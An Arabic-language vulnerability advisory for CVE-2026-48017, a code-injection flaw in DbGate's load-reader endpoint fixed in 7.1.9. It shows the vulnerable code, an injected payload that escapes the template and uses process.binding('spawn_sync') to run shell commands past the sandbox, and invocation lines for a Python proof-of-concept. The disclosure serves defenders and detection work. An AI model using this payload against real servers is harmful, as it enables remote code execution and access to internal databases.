
تنفيذ تعليمات برمجية عن بُعد في DbGate عبر حقن functionName في نقطة النهاية loadReader — CVSS 8.8
functionNameالخطورة: عالية (CVSS 8.8)
CWE: CWE-94 — تحكم غير سليم في توليد الكود ('حقن الكود')
المتأثر: dbgate-api ≤ 7.1.8 (تم التصحيح في 7.1.9)
النشرة: GHSA-hv83-ggc4-v385
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-48017
الفضل: Romain Deperne
تأخذ نقطة النهاية POST /runners/load-reader معامل functionName وتُدرجه مباشرة داخل سلسلة قالب JavaScript تُنفَّذ بعد ذلك في عملية متفرعة — دون أي تعقيم أو تحقق. يمكن لأي مستخدم مصادق (بدون الحاجة إلى صلاحية خاصة) الخروج من الاستدعاء المقصود وتشغيل كود JavaScript عشوائي، محققًا تنفيذ كود عن بُعد على الخادم.
يضبط المُشغِّل المتفرع require = null بوصفه صندوق رمل، لكن يمكن تجاوز ذلك بسهولة: إذ يظل process.binding("spawn_sync") قابلاً للوصول ويُطلق عملية نظام تشغيل حقيقية.
كنت أدقق في النظام الفرعي للمُشغِّلات في DbGate بحثًا عن الفجوة بين مسارات تنفيذ الكود المحمية وغير المحمية. مُشغِّل start() في runners.js:292 محمي بشكل صحيح — فهو يستدعي testStandardPermission('run-shell-script') ويتحقق من platformInfo.allowShellScripting.
أما loadReader() فتفعل شيئًا مشابهًا من الناحية المفاهيمية (تبني وتشغّل سكربت تحميل JS) لكنها لا تحتوي على أيٍّ من تلك الفحوصات. تتبعت تدفق البيانات:
runners.js:353 loadReader({ functionName, props })
runners.js:366 loaderScriptTemplate(prefix, functionName, ...)
runners.js:64 `... ${compileShellApiFunctionName(functionName)}(${JSON.stringify(props)});`
packageTools.ts:33 return `dbgateApi.${functionName}` // ← no sanitization
إن functionName يتحكم فيه المهاجم ويستقر داخل سلسلة قالب يتم تنفيذها. البادئة dbgateApi. هي الشيء الوحيد أمامه، ويمكن الهروب منها: فبإغلاق التعبير بـ toString();، وحقن الحمولة، وتعليق الجزء الختامي (${props}) باستخدام // نحصل على كود JS صالح.
الملف: packages/api/src/controllers/runners.js (loadReader → loaderScriptTemplate)
الملف: packages/tools/src/packageTools.ts:33 (compileShellApiFunctionName)
// packageTools.ts:33 — functionName flows in unsanitized
return `dbgateApi.${functionName}`;
// runners.js:64 — interpolated into the executed loader template
`const reader = await ${compileShellApiFunctionName(functionName)}(${JSON.stringify(props)});`
السكربت المُولَّد (المُحقَن):
const reader = await dbgateApi.toString();
process.binding("spawn_sync").spawn({ file:"/bin/sh", args:["/bin/sh","-c","id"], ... });
dbgateApi.toString//({});
كُتبت الدالة compileShellApiFunctionName() لتحويل اسم قصير إلى مسار API مؤهل بالكامل (dbgateApi.<name>)، مع الثقة ضمنيًا في أن functionName معرّف. غير أن القيمة تأتي مباشرة من جسم طلب HTTP. ولأنها تُدمج في كود مصدري يُنفَّذ لاحقًا عبر eval أو fork، فإن افتراض الثقة هذا يشكّل ثغرة RCE. صندوق الرمل require = null لا يساعد — فآلية Node الداخلية process.binding("spawn_sync") تتجاوزه.
الإصلاح (7.1.9): التحقق من functionName مقابل قائمة سماح صارمة للمعرّفات قبل تجميعه في سكربت التحميل.
poc/rce_loadreader_functionname_injection.py — يشغّل نقطة النهاية الفعلية من البداية إلى النهاية.
# with an existing JWT
python3 poc/rce_loadreader_functionname_injection.py http://localhost:3000 <JWT> 'id > /tmp/pwned'
# or log in first
python3 poc/rce_loadreader_functionname_injection.py http://localhost:3000 --login admin password 'id'
يبني السكربت حمولة functionName، ويرسلها إلى POST /runners/load-reader، ويقوم استدعاء spawn_sync المُحقَن بتنفيذ الأمر في عملية المُشغِّل المتفرعة.
ثغرة RCE للمستخدمين المصادقين على مضيف DbGate API. DbGate واجهة رسومية (GUI) لإدارة قواعد البيانات تُنشر غالبًا بوصول شبكي واسع إلى قواعد البيانات الداخلية — فإن تنفيذ الكود عليه يُشكّل نقطة انطلاق قوية نحو طبقة البيانات.
تم الإفصاح عنها بمسؤولية. نُشرت PoC بعد صدور الإصلاح، من أجل المدافعين وهندسة الكشف.